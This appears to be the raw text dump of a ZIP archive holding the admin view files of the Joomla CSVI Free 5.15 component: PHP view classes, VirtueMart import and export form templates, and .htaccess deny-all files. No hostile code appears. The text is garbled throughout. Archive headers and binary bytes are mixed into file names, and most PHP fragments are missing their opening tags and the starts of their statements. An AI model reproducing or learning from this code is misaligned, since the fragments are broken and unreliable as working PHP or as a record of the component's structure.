      PK@y>\wtW6components/com_csvi/views/templatetype/tmpl/index.htmlnuW+APK@y>\)5components/com_csvi/views/templatetype/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,1components/com_csvi/views/templatetype/index.htmlnuW+APK@y>\)0components/com_csvi/views/templatetype/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)0components/com_csvi/views/replacements/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)5components/com_csvi/views/replacements/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,6components/com_csvi/views/replacements/tmpl/index.htmlnuW+APK@y>\(Ch  7components/com_csvi/views/replacements/tmpl/default.phpnuW+Astate->get('list.ordering'); $listDirn = $this->state->get('list.direction'); ?>
      items)) { foreach ($this->items as $i => $item) { ?>
      pagination->getListFooter(); ?>
      id); ?> checked_out) { echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'replacements.'); echo $this->escape($item->name); } else { ?> escape($item->name); ?> findtext, 0, 100); if (strlen($item->findtext) > 100) echo '...';?> replacetext, 0, 100); if (strlen($item->replacetext) > 100) echo '...'; ?> method; ?>
      PK@y>\ƫ4components/com_csvi/views/replacements/view.html.phpnuW+Aitems = $this->get('Items'); // Get the pagination $this->pagination = $this->get('Pagination'); // Load the user state $this->state = $this->get('State'); // Get the panel $this->loadHelper('panel'); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_REPLACEMENTS'), 'csvi_replacement_48'); JToolBarHelper::addNew('replacement.add'); JToolBarHelper::editList('replacement.edit'); JToolBarHelper::deleteList('', 'replacements.delete'); //JToolBarHelper::help('about.html', true); // Display it all parent::display($tpl); } } ?>PK@y>\#o,,1components/com_csvi/views/replacements/index.htmlnuW+APK@y>\#o,,7components/com_csvi/views/templatetypes/tmpl/index.htmlnuW+APK@y>\,c c 8components/com_csvi/views/templatetypes/tmpl/default.phpnuW+Astate->get('list.ordering'); $listDirn = $this->state->get('list.direction'); ?>
      templatetypes as $i => $template) { ?>
      pagination->getListFooter(); ?>
      id); ?> url)) echo JHtml::_('link', JRoute::_($template->url), JText::_('COM_CSVI_'.$template->template_type_name), 'target="_blank"'); else echo JText::_('COM_CSVI_'.$template->template_type_name); ?> template_type_name).'_DESC'); ?> component), $template->component, 'target="_blank"'); ?> template_type)); ?>
      PK@y>\)6components/com_csvi/views/templatetypes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)1components/com_csvi/views/templatetypes/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,2components/com_csvi/views/templatetypes/index.htmlnuW+APK@y>\똢775components/com_csvi/views/templatetypes/view.html.phpnuW+Atemplatetypes = $this->get('Items'); // Get the pagination $this->pagination = $this->get('Pagination'); // Load the user state $this->state = $this->get('State'); // Get the panel $this->loadHelper('panel'); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_TEMPLATETYPES'), 'csvi_templates_48'); JToolBarHelper::custom('templatetype.add', 'new.png', 'new_f2.png','JTOOLBAR_NEW', false); JToolBarHelper::custom('templatetype.edit', 'edit.png', 'edit_f2.png','JTOOLBAR_EDIT', true); //JToolBarHelper::help('about.html', true); // Display it all parent::display($tpl); } } ?>PK@y>\GY Y 3components/com_csvi/views/replacement/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Toolbar for product editing * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return void * @since 1.0 */ protected function addToolbar() { // Hide the mainmenu JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); JToolBarHelper::title(JText::_('COM_CSVI_PAGE_'.($checkedOut ? 'VIEW_REPLACEMENT' : ($isNew ? 'ADD_REPLACEMENT' : 'EDIT_REPLACEMENT'))), 'csvi_replacement_48'); if (!$checkedOut) { JToolBarHelper::apply('replacement.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('replacement.save', 'JTOOLBAR_SAVE'); JToolBarHelper::custom('replacement.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false); } // If an existing item, can save to a copy. if (!$isNew) { JToolBarHelper::custom('replacement.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false); } if (empty($this->item->id)) { JToolBarHelper::cancel('replacement.cancel', 'JTOOLBAR_CANCEL'); } else { JToolBarHelper::cancel('replacement.cancel', 'JTOOLBAR_CLOSE'); } } } ?>PK@y>\)4components/com_csvi/views/replacement/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\wtW5components/com_csvi/views/replacement/tmpl/index.htmlnuW+APK@y>\vv3components/com_csvi/views/replacement/tmpl/edit.phpnuW+A
      • form->getLabel('name'); ?> form->getInput('name'); ?>
      • form->getLabel('findtext'); ?> form->getInput('findtext'); ?>
      • form->getLabel('replacetext'); ?> form->getInput('replacetext'); ?>
      • form->getLabel('method'); ?> form->getInput('method'); ?>
      PK@y>\#o,,0components/com_csvi/views/replacement/index.htmlnuW+APK@y>\)/components/com_csvi/views/replacement/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,4components/com_csvi/views/importfile/tmpl/index.htmlnuW+APK@y>\32components/com_csvi/views/importfile/tmpl/cron.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); // Display any messages there are if (!empty($csvilog->logmessage)) echo $csvilog->logmessage; else { echo JText::sprintf('COM_CSVI_RESULTS_FOR', $csvilog->getFilename())."\n"; echo str_repeat("=", (strlen(JText::_('COM_CSVI_RESULTS_FOR'))+strlen($csvilog->getFilename())+1))."\n"; if (!empty($this->logresult['result'])) { echo JText::_('COM_CSVI_TOTAL')."\t\t".JText::_('COM_CSVI_RESULT')."\t\t".JText::_('COM_CSVI_STATUS')."\n"; foreach ($this->logresult['result'] as $result => $log) { echo $log->total_result."\t\t".$log->result."\t\t".JText::_('COM_CSVI_'.$log->status)."\n"; } } else echo JText::_('COM_CSVI_NO_RESULTS_FOUND')."\n"; } ?>PK@y>\9\)445components/com_csvi/views/importfile/tmpl/default.phpnuW+Ainput; ?>
      template_name); ?>
      PK@y>\)3components/com_csvi/views/importfile/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\PpQQ2components/com_csvi/views/importfile/view.html.phpnuW+Ainput; $template = $jinput->get('template', null, null); $this->template_name = $template->get('template_name'); // Toolbar $jinput->set('hidemainmenu', 1); JToolBarHelper::title(JText::_( 'COM_CSVI_IMPORTING' ), 'csvi_import_48'); JToolBarHelper::custom('process.cancelimport', 'csvi_cancel_32', 'csvi_cancel_32', JText::_('COM_CSVI_CANCEL'), false); JToolBarHelper::custom('importfile.doimport', 'csvi_import_32', 'csvi_import_32', JText::_('COM_CSVI_IMPORT'), false); // Display it all parent::display($tpl); } } ?>PK@y>\L 2components/com_csvi/views/importfile/view.json.phpnuW+Ainput; if ($jinput->get('importsession', true, 'bool')) { // Process the data $this->get('ProcessData'); // Empty the message stack $app = JFactory::getApplication(); $app->set('_messageQueue', array()); // Collect the results $result = array(); // Set the view mode if ($jinput->get('csvipreview', false, 'bool')) { $result['view'] = 'preview'; $result['headers'] = $jinput->get('headers_preview', null, null); $result['output'] = $jinput->get('data_preview', null, null); if (empty($results['headers']) && empty($result['output'])) { $result['process'] = false; $csvilog = $jinput->get('csvilog', null, null); $result['url'] = JURI::root().'administrator/index.php?option=com_csvi&task=process.finished&run_id='.$csvilog->getId(); // Clean the session, nothing to import $this->get('CleanSession'); } else $result['process'] = true; } else { $result['view'] = ''; // Get the number of records processed $result['records'] = $jinput->get('recordsprocessed', 0, 'int'); if ($result['records'] == 0) { $result['process'] = false; $result['url'] = JURI::root().'administrator/index.php?option=com_csvi&task=process.finished&run_id='.$jinput->get('run_id', 0, 'int'); } else { $result['process'] = true; } } } else { $csvilog = $jinput->get('csvilog', null, null); // Collect the results $result = array(); $result['process'] = false; $result['url'] = JURI::root().'administrator/index.php?option=com_csvi&task=process.finished&run_id='.$jinput->get('run_id', 0, 'int'); // Clean the session, nothing to import $this->get('CleanSession'); } if ($result['process']) { // Import is not finished, lets sleep $settings = new CsviSettings(); sleep($settings->get('import.import_wait', 0)); } // Output the results echo json_encode($result); } } ?>PK@y>\#o,,/components/com_csvi/views/importfile/index.htmlnuW+APK@y>\).components/com_csvi/views/importfile/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ F""2components/com_csvi/views/importfile/view.cron.phpnuW+Ainput; if (!$jinput->get('error', false, 'bool')) { // Process the data $this->get('ProcessData'); } // Assign the data $this->assignRef('logresult', $this->get('Stats', 'log')); // Display it all parent::display($tpl); } } ?>PK@y>\tIf((/components/com_csvi/views/install/view.html.phpnuW+AaddStyleSheet(JURI::root().'administrator/components/com_csvi/assets/css/install.css'); // Load the installed version $this->selectversion = $this->get('Version'); $this->newversion = CSVI_VERSION; // Options of extra tasks to do during installation $this->installoptions = array(); $this->installoptions[] = JHtml::_('select.option', 'availablefields', JText::_('COM_CSVI_UPDATEAVAILABLEFIELDS_LABEL')); $this->installoptions[] = JHtml::_('select.option', 'sampletemplates', JText::_('COM_CSVI_INSTALLDEFAULTTEMPLATES_LABEL')); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_INSTALL'), 'csvi_install_48'); //JToolBarHelper::help('install.html', true); // Display it all parent::display($tpl); } } ?>PK@y>\#o,,,components/com_csvi/views/install/index.htmlnuW+APK@y>\)+components/com_csvi/views/install/.htaccessnuW+A Order allow,deny Deny from all PK@y>\!4 BB/components/com_csvi/views/install/view.json.phpnuW+Aget($task); if (JRequest::getBool('cancelinstall')) { $result['tasks'] = ''; } else { $result['results']['messages'][] = JText::_('COM_CSVI_COMPLETED_'.strtoupper($task)); // Add remaining tasks to the result for further processing $result['tasks'] = implode('.', $tasks); } // Send back the result echo json_encode($result); } } ?>PK@y>\)0components/com_csvi/views/install/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,1components/com_csvi/views/install/tmpl/index.htmlnuW+APK@y>\.dd2components/com_csvi/views/install/tmpl/default.phpnuW+A
      selectversion == 'current') echo JText::_('COM_CSVI_NONEW_VERSION'); else echo JText::sprintf('COM_CSVI_FOUND_VERSION', $this->selectversion); ?>
      newversion); ?>
      installoptions as $installoption) { if ($installoption->value == 'availablefields') $checked = 'checked="checked"'; else $checked = ''; ?> />text; ?>
      selectversion != 'current') { ?>
      PK@y>\'4  0components/com_csvi/views/about/tmpl/default.phpnuW+A folders as $name => $access) { ?>
      '.JText::_('COM_CSVI_WRITABLE').''; } else { echo ''.JText::_('COM_CSVI_NOT_WRITABLE').''; } ?>

      Name:CSVI Free
      Version:5.15
      Coded by:RolandD Cyber Produksi
      Contact:contact@csvimproved.com
      Support:
      Copyright:Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
      License:
      PK@y>\).components/com_csvi/views/about/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,/components/com_csvi/views/about/tmpl/index.htmlnuW+APK@y>\#o,,*components/com_csvi/views/about/index.htmlnuW+APK@y>\))components/com_csvi/views/about/.htaccessnuW+A Order allow,deny Deny from all PK@y>\L.ñ-components/com_csvi/views/about/view.html.phpnuW+Afolders = $this->get('FolderCheck'); // Get the panel $this->loadHelper('panel'); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_ABOUT'), 'csvi_about_48'); //JToolBarHelper::help('about.html', true); // Display it all parent::display($tpl); } } ?>PK@y>\D`FF/components/com_csvi/views/process/view.html.phpnuW+Ainput; $session = JFactory::getSession(); $option = $jinput->get('option'); // Load the models $model = $this->getModel(); $this->setModel(JModel::getInstance('templates', 'CsviModel')); $this->setModel(JModel::getInstance('availablefields', 'CsviModel')); // Load stylesheet $document = JFactory::getDocument(); $document->addStyleSheet(JURI::root().'administrator/components/com_csvi/assets/css/process.css'); // Set the template ID $template_id = $jinput->get('template_id', $session->get($option.'.select_template', 0), 'int'); $jinput->set('template_id', $template_id); // Load the saved templates $template_model = $this->getModel('Templates'); $this->templates = JHtml::_('select.genericlist', $template_model->getTemplates(), 'select_template', '', 'value', 'text', $jinput->get('template_id', 0, 'int')); // Load the selected template $this->loadHelper('template'); $this->template = new CsviTemplate(); $this->template->load($template_id); $jinput->set('template', $this->template); // Set the action, component and operation for the form if ($template_id > 0) $jinput->set('jform', $this->template->getSettings()); // Load the option templates $this->optiontemplates = $model->getOptions(); // Get the options for the user $this->form = $model->getForm(array(), true, $this->optiontemplates); // Load the fields $av_model = $this->getModel('availablefields'); $this->templatefields = $av_model->getAvailableFields($this->form->getValue('operation','options'), $this->form->getValue('component','options'), 'object', $this->form->getValue('custom_table')); // Load the replacements $this->replacements = $this->get('Replacements'); // Add the component path to find template files $this->addTemplatePath(JPATH_COMPONENT_ADMINISTRATOR.'/views/process/tmpl/'.$this->form->getValue('component','options').'/'.$this->form->getValue('action','options')); $this->addTemplatePath(JPATH_COMPONENT_ADMINISTRATOR.'/views/process/tmpl/'.$this->form->getValue('action','options')); // Load the helper $this->loadHelper($this->form->getValue('component','options')); // Load the configuration helper $this->loadHelper($this->form->getValue('component','options').'_config'); $classname = 'Csvi'.$this->form->getValue('component','options').'_config'; if (class_exists($classname)) $this->config = new $classname; // Get the panel $this->loadHelper('panel'); // Get the toolbar title JToolBarHelper::title(JText::_('COM_CSVI_PROCESS'), 'csvi_process_48'); // Get the toolbar JToolBarHelper::custom('cronline', 'csvi_cron_32', 'csvi_cron_32', JText::_('COM_CSVI_CRONLINE'), false); JToolBarHelper::custom('process.imexport', 'csvi_process_32', 'csvi_process_32', JText::_('COM_CSVI_PROCESS'), false); //JToolBarHelper::help('process.html', true); // Display it all parent::display($tpl); } } ?> PK@y>\#o,,,components/com_csvi/views/process/index.htmlnuW+APK@y>\#o,,:components/com_csvi/views/process/tmpl/com_csvi/index.htmlnuW+APK@y>\ Gcomponents/com_csvi/views/process/tmpl/com_csvi/export/default_file.phpnuW+A
      • form->getLabel('export_filename', 'general'); ?>
        form->getInput('export_filename', 'general'); ?>
      • form->getLabel('export_file', 'general'); ?>
        form->getInput('export_file', 'general'); ?>
      • form->getLabel('export_site', 'general'); ?>
        form->getInput('export_site', 'general'); ?>
      • form->getLabel('field_delimiter', 'general'); ?>
        form->getInput('field_delimiter', 'general'); ?>
      • form->getLabel('text_enclosure', 'general'); ?>
        form->getInput('text_enclosure', 'general'); ?>
      • form->getLabel('include_column_headers', 'general'); ?>
        form->getInput('include_column_headers', 'general'); ?>
      • form->getLabel('signature', 'general'); ?>
        form->getInput('signature', 'general'); ?>
      • form->getLabel('export_frontend', 'general'); ?>
        form->getInput('export_frontend', 'general'); ?>
      • form->getLabel('collect_debug_info', 'general'); ?>
        form->getInput('collect_debug_info', 'general'); ?>
      • form->getLabel('recordstart', 'general'); ?>
        form->getInput('recordstart', 'general'); ?> form->getInput('recordend', 'general'); ?>
      • form->getLabel('groupby', 'general'); ?>
        form->getInput('groupby', 'general'); ?>
      PK@y>\)@components/com_csvi/views/process/tmpl/com_csvi/export/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,Acomponents/com_csvi/views/process/tmpl/com_csvi/export/index.htmlnuW+APK@y>\)9components/com_csvi/views/process/tmpl/com_csvi/.htaccessnuW+A Order allow,deny Deny from all PK@y>\K8Qcomponents/com_csvi/views/process/tmpl/com_virtuemart/export/default_userinfo.phpnuW+A
      • form->getLabel('userinfo_address', 'userinfo'); ?>
        form->getInput('userinfo_address', 'userinfo'); ?>
      • form->getLabel('vendors', 'userinfo'); ?>
        form->getInput('vendors', 'userinfo'); ?>
      • form->getLabel('permissions', 'userinfo'); ?>
        form->getInput('permissions', 'userinfo'); ?>
      • form->getLabel('userinfomdatestart', 'userinfo'); ?>
        form->getInput('userinfomdatestart', 'userinfo'); ?> form->getInput('userinfomdateend', 'userinfo'); ?>
      PK@y>\lQUcomponents/com_csvi/views/process/tmpl/com_virtuemart/export/default_manufacturer.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      PK@y>\^{Mcomponents/com_csvi/views/process/tmpl/com_virtuemart/export/default_calc.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      • form->getLabel('category_separator', 'general'); ?>
        form->getInput('category_separator', 'general'); ?>
      PK@y>\%Qcomponents/com_csvi/views/process/tmpl/com_virtuemart/export/default_shipping.phpnuW+A
      'addRow_shopper_shipping')); ?>

      template->get('shopper_shipping_export_fields', '', array()); if (isset($shopper_shipping_fields['_price_from'])) { $count = count($shopper_shipping_fields['_price_from']); for ($rows = 0; $rows < $count; $rows++) { $id = mt_rand(); ?>
      PK@y>\9zzMcomponents/com_csvi/views/process/tmpl/com_virtuemart/export/default_file.phpnuW+A
      • form->getLabel('export_filename', 'general'); ?>
        form->getInput('export_filename', 'general'); ?>
      • form->getLabel('export_file', 'general'); ?>
        form->getInput('export_file', 'general'); ?>
      • form->getLabel('export_site', 'general'); ?>
        form->getInput('export_site', 'general'); ?>
      • form->getLabel('field_delimiter', 'general'); ?>
        form->getInput('field_delimiter', 'general'); ?>
      • form->getLabel('text_enclosure', 'general'); ?>
        form->getInput('text_enclosure', 'general'); ?>
      • form->getLabel('include_column_headers', 'general'); ?>
        form->getInput('include_column_headers', 'general'); ?>
      • form->getLabel('signature', 'general'); ?>
        form->getInput('signature', 'general'); ?>
      • form->getLabel('export_frontend', 'general'); ?>
        form->getInput('export_frontend', 'general'); ?>
      • form->getLabel('collect_debug_info', 'general'); ?>
        form->getInput('collect_debug_info', 'general'); ?>
      • form->getLabel('publish_state', 'general'); ?>
        form->getInput('publish_state', 'general'); ?>
      • form->getLabel('recordstart', 'general'); ?>
        form->getInput('recordstart', 'general'); ?> form->getInput('recordend', 'general'); ?>
      • form->getLabel('groupby', 'general'); ?>
        form->getInput('groupby', 'general'); ?>
      • form->getLabel('export_date_format', 'general'); ?>
        form->getInput('export_date_format', 'general'); ?>

      • form->getLabel('export_price_format_decimal', 'general'); ?>
        form->getInput('export_price_format_decimal', 'general'); ?>
      • form->getLabel('export_price_format_decsep', 'general'); ?>
        form->getInput('export_price_format_decsep', 'general'); ?>
      • form->getLabel('export_price_format_thousep', 'general'); ?>
        form->getInput('export_price_format_thousep', 'general'); ?>
      • form->getLabel('add_currency_to_price', 'general'); ?>
        form->getInput('add_currency_to_price', 'general'); ?>
      PK@y>\yYQcomponents/com_csvi/views/process/tmpl/com_virtuemart/export/default_category.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      • form->getLabel('category_separator', 'general'); ?>
        form->getInput('category_separator', 'general'); ?>
      PK@y>\#o,,Gcomponents/com_csvi/views/process/tmpl/com_virtuemart/export/index.htmlnuW+APK@y>\)Fcomponents/com_csvi/views/process/tmpl/com_virtuemart/export/.htaccessnuW+A Order allow,deny Deny from all PK@y>\I Rcomponents/com_csvi/views/process/tmpl/com_virtuemart/export/default_orderitem.phpnuW+A
      • form->getLabel('orderitemnostart', 'orderitem'); ?>
        form->getInput('orderitemnostart', 'orderitem'); ?> form->getInput('orderitemnoend', 'orderitem'); ?>
      • form->getLabel('orderitemlist', 'orderitem'); ?>
        form->getInput('orderitemlist', 'orderitem'); ?>
      • form->getLabel('orderitemdatestart', 'orderitem'); ?>
        form->getInput('orderitemdatestart', 'orderitem'); ?> form->getInput('orderitemdateend', 'orderitem'); ?>
      • form->getLabel('orderitemmdatestart', 'orderitem'); ?>
        form->getInput('orderitemmdatestart', 'orderitem'); ?> form->getInput('orderitemmdateend', 'orderitem'); ?>
      • form->getLabel('orderitemstatus', 'orderitem'); ?>
        form->getInput('orderitemstatus', 'orderitem'); ?>
      • form->getLabel('orderitemcurrency', 'orderitem'); ?>
        form->getInput('orderitemcurrency', 'orderitem'); ?>
      • form->getLabel('orderitempricestart', 'orderitem'); ?>
        form->getInput('orderitempricestart', 'orderitem'); ?> form->getInput('orderitemspriceend', 'orderitem'); ?>
      form->getLabel('orderitemproduct', 'orderitem'); ?> form->getInput('orderitemproduct', 'orderitem'); ?>
      PK@y>\3[[Ncomponents/com_csvi/views/process/tmpl/com_virtuemart/export/default_order.phpnuW+A
      • form->getLabel('ordernostart', 'order'); ?>
        form->getInput('ordernostart', 'order'); ?> form->getInput('ordernoend', 'order'); ?>
      • form->getLabel('orderlist', 'order'); ?>
        form->getInput('orderlist', 'order'); ?>
      • form->getLabel('orderdatestart', 'order'); ?>
        form->getInput('orderdatestart', 'order'); ?> form->getInput('orderdateend', 'order'); ?>
      • form->getLabel('ordermdatestart', 'order'); ?>
        form->getInput('ordermdatestart', 'order'); ?> form->getInput('ordermdateend', 'order'); ?>
      • form->getLabel('orderstatus', 'order'); ?>
        form->getInput('orderstatus', 'order'); ?>
      • form->getLabel('orderpayment', 'order'); ?>
        form->getInput('orderpayment', 'order'); ?>
      • form->getLabel('order_address', 'order'); ?>
        form->getInput('order_address', 'order'); ?>
      • form->getLabel('ordermanufacturer', 'order'); ?>
        form->getInput('ordermanufacturer', 'order'); ?>
      • form->getLabel('ordercurrency', 'order'); ?>
        form->getInput('ordercurrency', 'order'); ?>
      • form->getLabel('orderpricestart', 'order'); ?>
        form->getInput('orderpricestart', 'order'); ?> form->getInput('orderpriceend', 'order'); ?>
      form->getLabel('orderuser', 'order'); ?>
      form->getInput('orderuser', 'order'); ?>
      form->getLabel('orderproduct', 'order'); ?>
      form->getInput('orderproduct', 'order'); ?>
      PK@y>\0Pcomponents/com_csvi/views/process/tmpl/com_virtuemart/export/default_product.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      • form->getLabel('exportsef', 'product'); ?>
        form->getInput('exportsef', 'product'); ?>
      • form->getLabel('producturl_suffix', 'product'); ?>
        form->getInput('producturl_suffix', 'product'); ?>
      • form->getLabel('featured', 'product'); ?>
        form->getInput('featured', 'product'); ?>
      • form->getLabel('category_separator', 'general'); ?>
        form->getInput('category_separator', 'general'); ?>
      • form->getLabel('product_categories', 'product'); ?>
        form->getInput('product_categories', 'product'); ?>
      • form->getLabel('publish_state_categories', 'product'); ?>
        form->getInput('publish_state_categories', 'product'); ?>
      • form->getLabel('incl_subcategory', 'product'); ?>
        form->getInput('incl_subcategory', 'product'); ?>
      • form->getLabel('parent_only', 'product'); ?>
        form->getInput('parent_only', 'product'); ?>
      • form->getLabel('child_only', 'product'); ?>
        form->getInput('child_only', 'product'); ?>
      • form->getLabel('custom_title', 'product'); ?>
        form->getInput('custom_title', 'product'); ?>
      • form->getLabel('productskufilter', 'product'); ?>
        form->getInput('productskufilter', 'product'); ?>
      • form->getLabel('pricefrom', 'product'); ?>
        form->getInput('priceoperator', 'product'); ?> form->getInput('pricefrom', 'product'); ?> form->getInput('priceto', 'product'); ?>
      • form->getLabel('stocklevelstart', 'product'); ?>
        form->getInput('stocklevelstart', 'product'); ?> form->getInput('stocklevelend', 'product'); ?>
      • form->getLabel('targetcurrency', 'product'); ?>
        form->getInput('targetcurrency', 'product'); ?>
      • form->getLabel('shopper_groups', 'product'); ?>
        form->getInput('shopper_groups', 'product'); ?>
      • form->getLabel('manufacturers', 'product'); ?>
        form->getInput('manufacturers', 'product'); ?>
      PK@y>\)?components/com_csvi/views/process/tmpl/com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PK@y>\&}uuVcomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_category_path.phpnuW+A
      • form->getLabel('file_location_category_images', 'path'); ?>
        form->getInput('file_location_category_images', 'path'); ?>
        '.$this->config->get('media_category_path').'');?> | |
      PK@y>\`Scomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_media_path.phpnuW+A
      • form->getLabel('file_location_product_images', 'path'); ?>
        form->getInput('file_location_product_images', 'path'); ?>
        '.$this->config->get('media_product_path').'');?> | |
      • form->getLabel('file_location_category_images', 'path'); ?>
        form->getInput('file_location_category_images', 'path'); ?>
        '.$this->config->get('media_category_path').'');?> | |
      PK@y>\UNQcomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_category.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      • form->getLabel('target_language', 'general'); ?>
        form->getInput('target_language', 'general'); ?>
      • form->getLabel('category_separator', 'general'); ?>
        form->getInput('category_separator', 'general'); ?>
      PK@y>\ujP P Pcomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_product.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      • form->getLabel('category_separator', 'general'); ?>
        form->getInput('category_separator', 'general'); ?>
      • form->getLabel('append_categories', 'product'); ?>
        form->getInput('append_categories', 'product'); ?>
      • form->getLabel('update_based_on', 'product'); ?>
        form->getInput('update_based_on', 'product'); ?>
      • form->getLabel('mpn_column_name', 'product'); ?>
        form->getInput('mpn_column_name', 'product'); ?>
      • form->getLabel('unpublish_before_import', 'product'); ?>
        form->getInput('unpublish_before_import', 'product'); ?>
      • form->getLabel('use_icecat', 'product'); ?>
        form->getInput('use_icecat', 'product'); ?>
      PK@y>\)Fcomponents/com_csvi/views/process/tmpl/com_virtuemart/import/.htaccessnuW+A Order allow,deny Deny from all PK@y>\>&Wcomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_category_image.phpnuW+A
      • form->getLabel('process_image', 'image'); ?>
        form->getInput('process_image', 'image'); ?>
      • form->getLabel('change_case', 'image'); ?>
        form->getInput('change_case', 'image'); ?>
      • form->getLabel('keep_original', 'image'); ?>
        form->getInput('keep_original', 'image'); ?>
      • form->getLabel('convert_type', 'image'); ?>
        form->getInput('convert_type', 'image'); ?>
      • form->getLabel('save_images_on_server', 'image'); ?>
        form->getInput('save_images_on_server', 'image'); ?>
      • form->getLabel('full_resize', 'image'); ?>
        form->getInput('full_resize', 'image'); ?>
      • form->getLabel('full_width', 'image'); ?>
        form->getInput('full_width', 'image'); ?>
      • form->getLabel('full_height', 'image'); ?>
        form->getInput('full_height', 'image'); ?>
      • form->getLabel('thumb_check_filetype', 'image'); ?>
        form->getInput('thumb_check_filetype', 'image'); ?>
      • form->getLabel('thumb_create', 'image'); ?>
        form->getInput('thumb_create', 'image'); ?>
      • form->getLabel('thumb_extension', 'image'); ?>
        form->getInput('thumb_extension', 'image'); ?>
      • form->getLabel('thumb_width', 'image'); ?>
        form->getInput('thumb_width', 'image'); ?>
      • form->getLabel('thumb_height', 'image'); ?>
        form->getInput('thumb_height', 'image'); ?>
      PK@y>\#o,,Gcomponents/com_csvi/views/process/tmpl/com_virtuemart/import/index.htmlnuW+APK@y>\qU''Scomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_order_item.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      PK@y>\-Vcomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_category_file.phpnuW+A
      • form->getLabel('auto_detect_delimiters', 'general'); ?>
        form->getInput('auto_detect_delimiters', 'general'); ?>
      • form->getLabel('field_delimiter', 'general'); ?>
        form->getInput('field_delimiter', 'general'); ?>
      • form->getLabel('text_enclosure', 'general'); ?>
        form->getInput('text_enclosure', 'general'); ?>
      • form->getLabel('im_mac', 'general'); ?>
        form->getInput('im_mac', 'general'); ?>
      • form->getLabel('use_column_headers', 'general'); ?>
        form->getInput('use_column_headers', 'general'); ?>
      • form->getLabel('skip_first_line', 'general'); ?>
        form->getInput('skip_first_line', 'general'); ?>
      • form->getLabel('skip_default_value', 'general'); ?>
        form->getInput('skip_default_value', 'general'); ?>
      • form->getLabel('collect_debug_info', 'general'); ?>
        form->getInput('collect_debug_info', 'general'); ?>
      • form->getLabel('refresh_xml_headers', 'general'); ?>
        form->getInput('refresh_xml_headers', 'general'); ?>
      • form->getLabel('xml_nodes_map', 'general'); ?>
        form->getInput('xml_nodes_map', 'general'); ?>
      PK@y>\ȋ[u++Ncomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_media.phpnuW+A
      • form->getLabel('ignore_non_exist', 'media'); ?>
        form->getInput('ignore_non_exist', 'media'); ?>
      PK@y>\(oTcomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_media_image.phpnuW+A
      • form->getLabel('process_image', 'image'); ?>
        form->getInput('process_image', 'image'); ?>
      • form->getLabel('change_case', 'image'); ?>
        form->getInput('change_case', 'image'); ?>
      • form->getLabel('keep_original', 'image'); ?>
        form->getInput('keep_original', 'image'); ?>
      • form->getLabel('convert_type', 'image'); ?>
        form->getInput('convert_type', 'image'); ?>
      • form->getLabel('save_images_on_server', 'image'); ?>
        form->getInput('save_images_on_server', 'image'); ?>
      • form->getLabel('full_resize', 'image'); ?>
        form->getInput('full_resize', 'image'); ?>
      • form->getLabel('full_width', 'image'); ?>
        form->getInput('full_width', 'image'); ?>
      • form->getLabel('full_height', 'image'); ?>
        form->getInput('full_height', 'image'); ?>
      • form->getLabel('thumb_check_filetype', 'image'); ?>
        form->getInput('thumb_check_filetype', 'image'); ?>
      • form->getLabel('thumb_create', 'image'); ?>
        form->getInput('thumb_create', 'image'); ?>
      • form->getLabel('thumb_extension', 'image'); ?>
        form->getInput('thumb_extension', 'image'); ?>
      • form->getLabel('thumb_width', 'image'); ?>
        form->getInput('thumb_width', 'image'); ?>
      • form->getLabel('thumb_height', 'image'); ?>
        form->getInput('thumb_height', 'image'); ?>
      PK@y>\66^components/com_csvi/views/process/tmpl/com_virtuemart/import/default_manufacturer_category.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
